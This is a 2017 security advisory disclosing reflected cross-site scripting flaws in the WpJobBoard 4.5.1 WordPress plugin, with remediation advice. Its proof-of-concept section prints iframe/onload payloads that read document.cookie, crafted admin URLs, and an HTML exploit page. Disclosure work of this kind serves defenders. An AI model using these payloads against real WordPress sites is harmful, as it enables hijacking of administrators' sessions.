WordPress WpJobBoard 4.5.1 Cross Site Scripting

`Document Title:  
===============  
WpJobBoard v4.5.1 - Multiple Cross Site Web Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=1941  
  
  
Release Date:  
=============  
2017-08-18  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1941  
  
  
Common Vulnerability Scoring System:  
====================================  
3.6  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Non Persistent  
  
  
Current Estimated Price:  
========================  
500a! - 1.000a!  
  
  
Product & Service Introduction:  
===============================  
WPJobBoard is bundled with 15+ shortcodes, allowing you to easily build completely unique job board and insert additional   
features only when you need it and only where you see fit. WPJobBoard doesnat limit your website to just a job board.   
Along with WPJB, you can still maintain a blog and take advantage of all the other features WordPress and its plugins   
and themes offer. You can keep your community and your blog, but you can add a professional job board.  
  
(Copy of the Vendor Homepage: https://wpjobboard.net/features/ )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple client-side cross site web vulnerabilties in the WpJobBoard v4.5.1 web-application for wordpress.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2017-08-18: Non-Public Disclosure (Vulnerability Laboratory - Shared Customer Research Feed)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
WpJobBoard  
Product: WPJobBoard - Wordpress Plugin (Web-Application) 4.4.4  
  
WpJobBoard  
Product: WPJobBoard - Wordpress Plugin (Web-Application) 4.5.1  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
Multiple client-side cross site scripting web vulnerabilities has been discovered in the official WpJobBoard v4.5.1 web-application for wordpress.  
The client-side cross site vulnerability allows remote attackers to inject own malicious script codes to client-side browser to web-application.  
  
The vulnerabilities are located in the `query` and `id` parameters of the `wpjb-email`, `wpjb-job`, `wpjb-application` and `wpjb-membership` modules.  
Remote attackers are able to inject own malicious script code to hijack admin session credentials via backend or to manipulate the backend on client-side   
performed requests. The attack vector is non-persistent and the request method to inject is GET. The attacker does not need a privileged user account to   
perform the successful exploitation.  
  
The security risk of the client-side cross site scripting vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.6.   
Exploitation of the client-side cross site scripting web vulnerabilities requires no privileged web-application user account and only low user interaction.   
Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external redirect to malicious sources   
and non-persistent manipulation of affected or connected web module context.  
  
Request Method(s):  
[+] GET  
  
Vulnerable Module(s):  
[+] `wpjb-email`  
[+] `wpjb-job`  
[+] `wpjb-application`  
[+] `wpjb-membership`  
  
Vulnerable Parameter(s):  
[+] query  
[+] id  
  
Affected Module(s):  
[+] Backend - Administrator & Moderators  
  
  
Proof of Concept (PoC):  
=======================  
The client-side cross site scripting vulnerabilities can be exploited by remote attackers without privileged web-application user account and with low user interaction.  
For security demonstration or to reproduce the web-application vulnerability follow the provided information and steps below to continue.  
  
  
PoC: Payload  
>"<iframe+src%3Da+onload%3Dalert(document.cookie)+<div style="1  
>"<iframe+src%3Da+onload%3Dalert(document.domain)+<div style="1  
  
  
PoC: Exploitation  
http://wpjobboard.localhost:8080wp-admin/admin.php?page=wpjb-email&action=edit&id=-1%27%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C  
http://wpjobboard.localhost:8080wp-admin/admin.php?page=wpjb-job&filter=all&query=%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C  
http://wpjobboard.localhost:8080wp-admin/admin.php?page=wpjb-application&action=index&query=%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C  
http://wpjobboard.localhost:8080wp-admin/admin.php?page=wpjb-email&action=edit&id=%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C  
http://wpjobboard.localhost:8080wp-admin/admin.php?page=wpjb-memberships&action=edit&id=%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C  
  
  
  
PoC: Exploit Code  
<html>  
<head><body>  
<title></title>  
<iframe src=http://wpjobboard.localhost:8080/wp-admin/admin.php?page=wpjb-email&action=edit&id=-1%27%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C>  
<iframe src=http://wpjobboard.localhost:8080/wp-admin/admin.php?page=wpjb-job&filter=all&query=%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C>  
<iframe src=http://wpjobboard.localhost:8080/wp-admin/admin.php?page=wpjb-application&action=index&query=%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C>  
<iframe src=http://wpjobboard.localhost:8080/wp-admin/admin.php?page=wpjb-email&action=edit&id=%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C>  
<iframe src=http://wpjobboard.localhost:8080/wp-admin/admin.php?page=wpjb-memberships&action=edit&id=%3E%22%3Ciframe+src%3Da+onload%3Dalert%28document.cookie%29+%3C>  
</body></head>  
</html>  
  
  
Reference(s):  
http://wpjobboard.localhost:8080/  
http://wpjobboard.localhost:8080/wp-admin/  
http://wpjobboard.localhost:8080wp-admin/admin.php  
  
  
Solution - Fix & Patch:  
=======================  
The cross site scripting vulnerability can be patched by a secure parse of the vulnerable `query` and `id` parameters.  
Disallow the inseration of special chars on parameter requests to prevent client-side script code injection attacks to compromise session data.  
Filter and parse the output location were the execution point occurs by usage of entities. Escape the context only in case of emergency.  
Filter all inserted context that runs through the affected `wpjb-email`, `wpjb-application` and `wpjb-job` modules  
  
  
Security Risk:  
==============  
The security risk of the client-side cross site scripting vulnerabilities in the admin control panel are estimated as medium. (CVSS 3.6)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or   
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any   
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its   
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental  
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface   
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories   
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails,   
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.   
  
Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com  
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
  
Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by   
Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark   
of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission.  
  
Copyright A(c) 2017 | Vulnerability Laboratory - [Evolution Security GmbH]aC/  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
  
`